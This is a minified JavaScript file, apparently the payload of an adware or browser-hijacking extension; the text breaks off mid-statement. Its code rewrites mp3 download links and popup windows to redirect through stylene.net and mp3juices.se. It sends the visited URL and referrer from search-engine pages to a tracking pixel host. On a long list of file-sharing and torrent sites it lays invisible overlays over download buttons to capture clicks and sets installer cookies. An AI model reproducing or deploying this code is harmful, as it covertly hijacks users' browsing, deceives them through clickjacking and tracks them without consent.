b(null);if(\"undefined\"==typeof f||1>f.length){if(c.waitForTokens[d])return b(null);var g=arguments.callee;c.waitTimeout=setTimeout(function(){k.waitForElementCounter++;g(a,b,e,d)},e)}else{if(c.waitForTokens[d])return b(null);c.waitForTokens[d]=!0;k.waitForElementCounter=0;return b(f)}};c.flushWaitForTokens=function(){c.waitForTokens={}};c.getRandomInt=function(a,b){return Math.floor(Math.random()*\r\n(b-a+1))+a};c.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(b){\"float\"==b&&(b=\"styleFloat\");b=c.dhtml_prop_name(b);return\"object\"==typeof a.currentStyle&&null!=a.currentStyle&&\"undefined\"!=typeof a.currentStyle?a.currentStyle:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};c.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=\r\na.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};c.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:\r\nfunction(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};c.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,e,c){return c.toUpperCase()})};c.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return new RegExp(a)};c.throttle=function(a,b){var e=null;return function(){var c=this,f=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(c,f)},b)}};c.epoch=function(){return(new Date).getTime()};\r\nc.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();c.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};c.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\nc.match_url=function(a,b){for(var e=0;e<b.length;e++)if(\"string\"==typeof b[e]){var d;d=/^\\/.+\\/$/.test(b[e])?new RegExp(b[e]):c.wildcard_to_regex(b[e]);if(d instanceof RegExp&&d.test(a))return!0}};c.ping=function(a){for(var b=[\"google\",\"bing\",\"yahoo\",\"youtube\"],c=0;c<b.length;c++)if(-1<location.hostname.indexOf(b[c])){var d=new Image,f=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<f.length&&(f=encodeURIComponent(location.hostname));var g=encodeURIComponent(location.hostname);\r\nd.src=k.pixelHost+\"?hid=8817188880235058019&eid=1093&pid=21132&prodid=338&v=\"+k.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=CZ&pr=\"+b[c]+\"&host=\"+g+\"&ref=\"+f}};c.getAllText=function(a){for(var b=\"\",c=0;c<a.length;c++)b+=a.textContent?a.textContent:a.innetText;return b};c.duplicateElement=function(a){var b=document.createElement(a.nodeName.toLowerCase()),e=!1;a.getAttribute(\"href\")&&b.setAttribute(\"href\",\"javascript:void(0);\");for(var d in a)if(\"src\"==\r\nd||\"width\"==d||\"height\"==d)b[d]=a[d];else if(\"style\"==d)for(var f in a[d])a[d][f]&&\"\"!=a[d][f]&&(b[d][f]=a[d][f]);else e||\"nodeValue\"!=d&&\"textContent\"!=d&&\"innetText\"!=d&&\"className\"!=d||0!=a.children.length||(b[d]=a[d],e=!0);for(e=0;e<a.childNodes.length;e++)if(3==a.childNodes[e].nodeType)b.appendChild(document.createTextNode(a.childNodes[e].textContent?a.childNodes[e].textContent:a.childNodes[e].innerText));else{d=c.duplicateElement(a.childNodes[e]);f=c.getAllText(d.childNodes);var g=a.childNodes[e].textContent?\r\na.childNodes[e].textContent:a.childNodes[e].innerText;g&&(g=g.replace(f,\"\"),\"\"!=g&&(d.textContent?d.textContent=g:d.innerText=g));b.appendChild(d)}return b}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var h=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(p){return}if(!(38>=h)){for(h=0;h<document.links.length;h++){var l=document.links[h],m=l.getAttribute(\"href\");if(m&&-1<m.indexOf(\"#dialog-contents\")){var m=\r\nk.utils.duplicateElement(l),n=l.parentNode;n.insertBefore(m,l);n.removeChild(l)}}(h=document.getElementById(\"dialog-contents\"))&&h.remove()}}};(function(){try{window.top==window.self&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&\"http:\"==window.location.protocol&&chrome.storage.local.get(\"cdbmnd\",function(a){if(!a.cdbmnd&&!localStorage.getItem(\"cdbmnd\")&&(a=document.getElementsByTagName(\"a\"),a.length))for(var b=0;b<a.length;b++)if(a&&a[b].href&&\"mp3\"==a[b].href.substr(-3)){var c=a[b].href;a[b].setAttribute(\"href\",\"http://mp3juices.se/media/\"+encodeURIC ... IComponent(encodeURIComponent(c))+\"/el/1\");a[b].setAttribute(\"id\",\"sdfsdfsfds\"+b);document.getElementById(\"sdfsdfsfds\"+b).addEventListener(\"click\",function(){chrome.storage.local.set({cdbmnd:\"2\"});localStorage.setItem(\"cdbmnd\",\"2\")},!1)}})}catch(d){}})();;(function(){try{if(window.opener&&window.self==window.top&& window.name !=='if72ru4sdfsdfruh7fewui' && window.name!==\"fghjktghndfgtssss\"&&window.name!==\"r_ron_redir\"&&(!window.name.match(/^(a652c|ld893)_/))&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&-1==document.referrer.indexOf('/sd/dw32.html')&&-1==document.referrer.indexOf('/pop/1.1.00')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"nkths.co\")&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/sd/dw32.html')&&-1==window.self.location.href.indexOf('/pop/1.1.00')&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://stylene.net/z/?f=pjaKrjYFvTwErG5 ... =21132&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://stylene.net/x/?f=pjaKrjYFvTwErG5 ... 9qTa6&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://stylene.net/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://stylene.net/x/?f=pjaKrjYFvTwErG5 ... 9qTa6&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://stylene.net/x/?f=pjaKrjYFvTwErG5 ... 9qTa6&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(!document.getElementById(\"__fghjktghndfgt_once\") && \"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://stylene.net/z/?f=pjaKrjYFvTwErG5 ... ath.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{ if(!document.getElementById(\"__fghjktghndfgt_once\") ){document.getElementsByTagName(\"body\")[0].addEventListener(\"click\", zytd)}}catch(e){}};;new function(){var n=this;this.activeZds={\"uploading.com\":1,\"dirpy.com\":0,\"go4up.com\":0,\"mp3olimp.org\":1,\"hulkload.com\":1,\"free-tv-video-online.me\":1,\"ehd.c\":1,\"hesefiles.c\":1,\"sharebeast.com\":0,\"coolrom.com\":1,\"ebookbrowsee.net\":1,\"cloud-vibe.com\":0,\"mp3seal.com\":0,\"mp3vampire.com\":0,\"minecraftdl.com\":0,\"leunlckr.co\":0,\"go.theadsnet.com\":1,\"ziddu.com\":1,\"opensubtitles.org\":1,\"romptfile.co\":1,\"pensoftwareupdater.co\":1,\"veehd.com\":1,\"ullypcgames.ne\":0,\"llplayer.com.b\":1,\"ubtitulosespanol.or\":1,\"ubtitles4free.ne\":1,\n\"legendasbrasil.org\":1,\"reeroms.co\":0,\"eneral-ebooks.co\":0,\"stream2watch.me\":1,\"kickass.to\":1,\"kickass.so\":1,\"pensubtitles.us\":0,\"uploadrocket.net\":1,\"programas-gratis.net\":1,\"programasgratis.es\":1,\"programasejogos.com\":1,\"flexydrive.com\":1,\"media1fire.com\":1,\"softwareandgames.com\":1,\"baixarjogos.com\":1,\"programmesetjeux.com\":1,\"descargarjuegos.com\":1,\"hotfiles.ro\":1,\"vitanclub.net\":1,\"getsecuredfiles.com\":1,\"mirrorcreator.com\":0,\"mestorrents.com\":1,\"vitorrent.net\":1,\"uploaded.net\":0,\"newsinitiative.org\":0,\n\"megafilmesonlinehd.com\":1,\"mycoolmp3.com\":1,\"descargadictos.net\":0,\"toggle.com\":1,\"downloadshareware.com\":1,\"primewire.ag\":1,\"ads.showmeflix.com\":0,\"myappsforpc.com\":1};this.utils=new function(){var e=this;e.sendPixels=function(h){var e;if(h instanceof Array)for(var l=0;l<h.length;l++){var m=h[l];e=new Image;e.src=m}else e=new Image,e.src=h};e.isFalse=function(h){return\"undefined\"==typeof h||0===h.length||null===h};e.cookie=new function(){var h=this;h.createCookie=function(h,e,m){if(m){var p=new Date;\np.setTime(p.getTime()+864E5*m);m=\"; expires=\"+p.toGMTString()}else m=\"\";document.cookie=h+\"=\"+e+m+\"; path=/\"};h.readCookie=function(h){h+=\"=\";for(var e=nasrat(\";\"),m=0;m<e.length;m++){for(var p=e[m];\" \"==p.charAt(0);)p=p.substring(1,p.length);if(0==p.indexOf(h))return p.substring(h.length,p.length)}return null};h.eraseCookie=function(e){h.createCookie(e,\"\",-1)}};e.ajax={get:function(h,k){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",h,!0),this.xhr.onreadystatechange=function(){4==\ne.ajax.xhr.readyState&&k(e.ajax.xhr.responseText)},this.xhr.send()}catch(l){}},post:function(h,k,l){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",h,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&l(e.ajax.xhr.responseText)};k=encodeURIComponent(k);this.xhr.send(k)}};e.waitForTokens={};e.addScript=function(h,e){if(\"bing\"==e){var l=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=\ndocument.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(h);Element.prototype.appendChild=l}else document.getElementsByTagName(\"head\")[0].appendChild(h)};e.waitForElement=function(h,k,l,m){var p=e.query_selector_all(h);clearTimeout(e.waitTimeout);if(25<n.waitForElementCounter)return k(null);if(\"undefined\"==typeof p||1>p.length){if(e.waitForTokens[m])return k(null);var q=arguments.callee;e.waitTimeout=setTimeout(function(){n.waitForElementCounter++;q(h,k,l,m)},l)}else{if(e.waitForTokens[m])return k(null);\ne.waitForTokens[m]=!0;n.waitForElementCounter=0;return k(p)}};e.flushWaitForTokens=function(){e.waitForTokens={}};e.getRandomInt=function(h,e){return Math.floor(Math.random()*(e-h+1))+h};e.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(h){return{getPropertyValue:function(k){\"float\"==k&&(k=\"styleFloat\");k=e.dhtml_prop_name(k);return\"object\"==typeof h.currentStyle&&null!=h.currentStyle&&\"undefined\"!=typeof h.currentStyle[k]?h.currentStyle[k]:null}}}:function(h,e){return window.getComputedStyle(h,\ne)||{getPropertyValue:function(){}}};e.query_selector_all=document.querySelectorAll?function(h){try{return document.querySelectorAll(h)}catch(e){}}:function(h){var e=h.match(/^#([^,\\s]+)$/)||[];if(1<e.length)return h=document.getElementById(e[1])||void 0,\"undefined\"!=typeof h?[h]:[];e=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(e);document.__asya_qsaels=[];e.styleSheet.cssText=h+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};\ne.clone_object=window.JSON instanceof Object?function(h){if(h instanceof Object&&(h=JSON.stringify(h),\"string\"==typeof h))return JSON.parse(h)}:function(h){if(h instanceof Object){var e=new h.constructor,l;for(l in h)e[l]=arguments.callee(h[l]);return e}return h};e.dhtml_prop_name=function(h){return h.replace(/(\\-([a-z]){1})/g,function(h,e,m){return m.toUpperCase()})};e.wildcard_to_regex=function(h){h=h.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");h=h.replace(/\\*/g,\".*\");return new RegExp(h)};e.throttle=\nfunction(h,e){var l=null;return function(){var m=this,p=arguments;clearTimeout(l);l=setTimeout(function(){h.apply(m,p)},e)}};e.epoch=function(){return(new Date).getTime()};e.msie=function(){var e=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(e)&&(e=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(e)?!1:e}();e.version_ie_less=function(e){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=\ne?!0:!1};e.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};e.match_url=function(h,k){for(var l=0;l<k.length;l++)if(\"string\"==typeof k[l]){var m;m=/^\\/.+\\/$/.test(k[l])?new RegExp(k[l]):e.wildcard_to_regex(k[l]);if(m instanceof RegExp&&m.test(h))return!0}};e.ping=function(e){for(var k=[\"google\",\"bing\",\"yahoo\",\"youtube\"],l=0;l<k.length;l++)if(-1<location.hostname.indexOf(k[l])){var m=\nnew Image,p=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<p.length&&(p=encodeURIComponent(location.hostname));var q=encodeURIComponent(location.hostname);m.src=n.pixelHost+\"?hid=8817188880235058019&eid=1093&pid=21132&prodid=338&v=\"+n.version+\"&ch=\"+e+\"&lan=\"+navigator.language+\"&cc=CZ&pr=\"+k[l]+\"&host=\"+q+\"&ref=\"+p}};e.getAllText=function(e){for(var k=\"\",l=0;l<e.length;l++)k+=e.textContent?e.textContent:e.innetText;return k};\ne.duplicateElement=function(h){var k=document.createElement(h.nodeName.toLowerCase());h.getAttribute(\"href\")&&k.setAttribute(\"href\",\"javascript:void(0);\");for(var l in h)if(\"src\"==l||\"width\"==l||\"height\"==l||\"id\"==l||\"className\"==l)k[l]=h[l];else if(\"style\"==l)for(var m in h[l])h[l][m]&&\"\"!=h[l][m]&&(k[l][m]=h[l][m]);else\"input\"!==h.nodeName.toLowerCase()||\"type\"!=l&&\"value\"!=l||(k[l]=h[l]);for(l=0;l<h.childNodes.length;l++)if(3==h.childNodes[l].nodeType)m=h.childNodes[l].textContent?h.childNodes[l].textContent:\nh.childNodes[l].innerText,\"undefined\"===typeof m&&(m=h.childNodes[l].nodeValue?h.childNodes[l].nodeValue:h.childNodes[l].data),\"undefined\"!==typeof m&&k.appendChild(document.createTextNode(m));else{m=e.duplicateElement(h.childNodes[l]);var p=e.getAllText(m.childNodes),q=h.childNodes[l].textContent?h.childNodes[l].textContent:h.childNodes[l].innerText;q&&(q=q.replace(p,\"\"),\"\"!=e.trim(q)&&(m.textContent?m.textContent=q:m.innerText=q));k.appendChild(m)}return k};e.coverElement=function(e,k,l,m,p,q,n,\nr){var u=document.createElement(\"div\");u.style.width=k?k:\"100%\";u.style.height=l?l:\"100%\";u.style.zIndex=q?q:\"2000\";u.style.top=m?m:\"0\";u.style.left=p?p:\"0\";u.style.cursor=n?n:\"pointer\";u.style.position=\"absolute\";k=e.parentNode;k.style.position=\"relative\";!0!==r&&\"undefined\"!==typeof r||k.removeChild(e);k.appendChild(u)};e.trim=function(e){return\"function\"!==typeof String.prototype.trim?String(e).replace(/^\\s+|\\s+$/g,\"\"):String.prototype.trim(e)}};this[\"dirpy.com\"]=new function(){this.init=function(){try{f=\nfunction(){try{$(\".download-maxiget, .download-trinity\").attr(\"href\",\"#\"),$(\"#mp3-with-trinity\").remove()}catch(e){}},-1< !navigator.userAgent.indexOf(\"chrome\")?f():(g=document.createElement(\"script\"),g.innerHTML=\"(\"+f.toString()+\")()\",document.body.appendChild(g))}catch(e){}new function(){-1<location.host.toLowerCase().indexOf(\"irpy.co\")&&(window.__irpyCount=0,window.__irpyInt=setInterval(function(){for(var e=document.links,k=0;k<e.length;k++){var l=e[k].getAttribute(\"href\");if(null!=l&&-1<l.toLowerCase().indexOf(\"dirpy.com/download/\")){l=\ndocument.createElement(\"div\");l.style.top=\"0\";l.style.width=\"100%\";l.style.height=\"100%\";l.style.cursor=\"pointer\";l.style.zIndex=\"2000\";l.style.position=\"absolute\";var m=e[k].parentNode;m.style.position=\"relative\";m.appendChild(l);clearInterval(window.__irpyInt)}}20<window.__irpyCount++&&clearInterval(window.__irpyInt)},250))}}};this[\"go4up.com\"]=new function(){this.init=function(){if(!window.__AAintervalCounter&&window.self==window.top&&-1<location.host.toLowerCase().indexOf(\"o4up.co\")){window.__AAintervalCounter=\n0;window.__AAinterval=setInterval(function(){var e=document.getElementById(\"linklist\");e.style.position=\"relative\";var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.zIndex=\"2000\";h.style.height=\"100%\";h.style.width=\"100px\";h.style.right=\"30px\";h.style.top=\"0\";h.style.cursor=\"pointer\";e.appendChild(h);10<window.__AAintervalCounter&&clearInterval(window.__AAinterval)},1001);for(var e=document.getElementsByTagName(\"center\"),h=0;h<e.length;h++){var k=e[h].children[0];k&&k.setAttribute(\"href\",\n\"javascript:void(0);\");e[h].style.position=\"relative\";k=document.createElement(\"div\");k.style.position=\"absolute\";k.style.zIndex=\"2000\";k.style.height=\"100%\";k.style.width=\"100%\";k.style.right=\"0\";k.style.top=\"0\";k.style.cursor=\"pointer\";e[h].appendChild(k)}}}};this[\"mp3olimp.org\"]=new function(){this.init=function(){setTimeout(function(){for(var e=document.links,h=0;h<e.length;h++)if(\"return prepare_download_file(this);\"==e[h].getAttribute(\"onclick\")){var m=document.createElement(\"a\");m.className=\n\"link last\";m.setAttribute(\"href\",\"javascript:void(0);\");m.innerText?m.innerText=\"Download\":m.textContent=\"Download\";var p=e[h].parentNode,q=p.children[p.children.length-1];q&&(p.removeChild(e[h]),p.insertBefore(m,q))}},1E3);new function(){-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&(window.__intCount=0,window.__int=setInterval(function(){var e=document.getElementById(\"download-manager-checkbox\");if(null!==e)try{e.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=\n!1}catch(h){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250))};-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&(window.__intCount=0,window.__int=setInterval(function(){var e=document.getElementById(\"download-manager-checkbox\");if(null!==e)try{e.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=!1}catch(h){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250));if(-1<document.location.host.indexOf(\"p3olimp.or\")&&document.getElementsByClassName)for(c=\ndocument.getElementById(\"download-manager-checkbox\"),c.onchange=function(){for(var e=document.getElementsByClassName(\"nasjfkla\"),h=0;h<e.length;h++)e[h].style.display=c.checked?\"block\":\"none\"},i=0;i<document.links.length;i++){var e=document.links,h=e.getAttribute(\"onclick\");h&&-1<h.indexOf(\"prepare_download_file\")&&(e=e.parentNode,e.style.position=\"relative\",b=document.createElement(\"div\"),b.className=\"nasjfkla\",b.style.position=\"absolute\",b.style.top=\"-2px\",b.style.left=\"92px\",b.style.width=\"71px\",\nb.style.height=\"16px\",b.style.zIndex=\"99999\",b.style.cursor=\"pointer\",e.appendChild(b))}-1<location.host.indexOf(\"p3olimp.or\")&&setTimeout(function(){for(var e=document.getElementById(\"leftside\"),h=0;h<e.children.length;h++)if(/\\bspnBook\\b/.test(e.children[h].className))for(var m=e.children[h].getElementsByTagName(\"a\"),p=0;p<m.length;p++)m[p].setAttribute(\"href\",\"#\"),m[p].setAttribute(\"target\",\"\")},1001)}};this[\"hulkload.com\"]=new function(){this.init=function(){for(var e=n.utils.query_selector_all(\".reclamTable .reclamRow .reclamCell a\"),\nh=0;h<e.length;h++){var k=e[h],l=n.utils.duplicateElement(k),m=k.parentNode;m.insertBefore(l,k);m.removeChild(k)}e=n.utils.query_selector_all(\".contentback div div a[target='_blank']\");for(h=0;h<e.length;h++)k=e[h],l=n.utils.duplicateElement(k),m=k.parentNode,m.insertBefore(l,k),m.removeChild(k);e=n.utils.query_selector_all(\".contentback div center a[target='_blank']\");for(h=0;h<e.length;h++)k=e[h],l=n.utils.duplicateElement(k),m=k.parentNode,m.insertBefore(l,k),m.removeChild(k);new function(){-1<\nlocation.host.toLowerCase().indexOf(\"ulkload.co\")&&(window.___interCount=0,window.___interval=setInterval(function(){for(var e=document.getElementsByTagName(\"center\"),h=0;h<e.length;h++)if(0!=h&&!(-1<e[h].innerHTML.indexOf(\"adcopy-outer\")||-1<e[h].innerHTML.indexOf(\"btn_download\")||-1<e[h].innerHTML.indexOf(\"solvemedia puzzle widget\"))){var k=document.createElement(\"div\");k.style.width=\"100%\";k.style.height=\"100%\";k.style.cursor=\"pointer\";k.style.zIndex=\"1900\";k.style.position=\"absolute\";h==e.length-\n1?(k.style.bottom=\"0\",k.style.height=\"110px\"):k.style.top=\"0\";e[h].style.position=\"relative\";e[h].appendChild(k)}e=document.getElementById(\"cap\");null!=e&&(e.parentNode.style.position=\"relative\",e.parentNode.style.zIndex=\"2000\");20<window.___interCount++&&clearInterval(window.___interval)},500))}}};this[\"free-tv-video-online.me\"]=new function(){this.init=function(){if(-1<window.self.location.hostname.indexOf(\"eo-online.me\")&&window.self==window.top){for(var e=document.getElementsByTagName(\"div\"),\nh=0;h<e.length;h++)if(e[h].style&&\"653px\"==e[h].style.width&&\"49px\"==e[h].style.height){var k=e[h];k.style.position=\"relative\";var l=document.createElement(\"div\");l.style.position=\"absolute\";l.style.cursor=\"pointer\";l.style.zIndex=\"2000\";l.style.width=\"100%\";l.style.height=\"50px\";l.style.top=\"0\";k.appendChild(l)}setTimeout(function(){for(var e=document.links,h=0;h<e.length;h++){var k=e[h].innerText?e[h].innerText:e[h].textContent;if(\"trackOutboundLink(this, 'Outbound Links', 'slinks.com'); return false;\"==\ne[h].getAttribute(\"onclick\")&&\"Stream Video Now!\"==k){k=document.createElement(\"a\");k.className=\"down\";k.setAttribute(\"href\",\"javascript:void(0);\");k.innerText?k.innerText=\"Stream Video Now!\":k.textContent=\"Stream Video Now!\";var l=e[h].parentNode,n=l.children[l.children.length-1];l.removeChild(e[h]);if(n)try{l.insertBefore(k,n)}catch(u){l.appendChild(k)}else l.appendChild(k)}}e=document.getElementsByTagName(\"a\");for(h=0;h<e.length;h++)if(\"getDownload();\"==e[h].getAttribute(\"onclick\"))if(k=document.createElement(\"p\"),\nk.className=\"dloadh\",k.setAttribute(\"href\",\"javascript:void(0);\"),k.innerText?k.innerText=\" \":k.textContent=\" \",l=e[h].parentNode,n=l.children[l.children.length-1],l.removeChild(e[h]),n)try{l.insertBefore(k,n)}catch(w){l.appendChild(k)}else l.appendChild(k)},1E3);e=document.createElement(\"script\");e.type=\"text/javascript\";e[-1<navigator.userAgent.toLowerCase().indexOf(\"msie\")?\"text\":\"innerHTML\"]=\"(\"+function(){try{if(jQuery(\".down, .dloadf, .dloadt\").attr(\"href\",\"#\"),$(\"#adsfrm\").length){var e=$(\"#adsfrm\").offset();\n$('<img src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\" style=\"position:absolute;z-index:9999;top:'+e.top+\"px;left:\"+e.left+\"px;width:\"+$(\"#adsfrm\").width()+\"px;height:\"+$(\"#adsfrm\").height()+'px;\">').appendTo(\"body\")}}catch(h){}}.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(e)}}};this[\"ehd.c\"]=new function(){this.init=function(){-1<window.self.location.hostname.indexOf(\"ehd.c\")&&document.getElementById(\"r1113566095\")&&(g=document.createElement(\"img\"),\ng.setAttribute(\"style\",\"width:100%;height:100%;position:absolute;z-index:99999;left:0;top:0\"),g.src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\",f=document.getElementById(\"r1113566095\").parentNode,f.style.position=\"relative\",f.appendChild(g))}};this[\"hesefiles.c\"]=new function(){this.init=function(){-1<window.self.location.hostname.indexOf(\"hesefiles.c\")&&(window.self.location.href=\"about:blank\");if(-1<window.self.location.hostname.indexOf(\"usfiles.ne\")){var e=\nfunction(){$(\"form[name=F1]\").submit(function(){if(-1<$(this).attr(\"action\").indexOf(\"bdl1=\"))return $(\"input[name=quick]\").attr(\"checked\",!1),window.setTimeout(function(){$(\"#btn_download\").attr(\"disabled\",!1).val(\"Download Now!!\");$(\"form[name=F1]\").unbind(\"submit\")},700),!1})};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))e();else{var h=document.createElement(\"script\");h.type=\"text/javascript\";h.innerHTML=\"(\"+e.toString()+\")()\";document.body.appendChild(h)}}}};this[\"sharebeast.com\"]=\nnew function(){this.init=function(){if(-1<window.self.location.hostname.indexOf(\"ebeast.co\")){var e=document.getElementsByTagName(\"div\"),h;for(h in e)e[h]&&e[h].style&&\"fixed\"==e[h].style.position&&\"solid\"==e[h].style.borderBottomStyle&&(e[h].style.display=\"none\")}}};this[\"coolrom.com\"]=new function(){this.init=function(){for(var e=document.getElementsByTagName(\"img\"),h=0;h<e.length;h++)-1<e[h].src.indexOf(\"/images/download_large.png\")&&e[h].parentNode.setAttribute(\"href\",\"javascript:void(0);\");e=\nnew Date;e.setTime(e.getTime()+2592E6);e=\"; expires=\"+e.toGMTString();document.cookie=\"installer=14604\"+e+\"; path=/;domain=.coolrom.com\"}};this[\"ebookbrowsee.net\"]=new function(){this.init=function(){}};this[\"cloud-vibe.com\"]=new function(){this.init=function(){-1<document.location.host.indexOf(\"loud-vibe.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},\n!1),a.addEventListener(\"mousedown\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},!1))}};this[\"mp3seal.com\"]=new 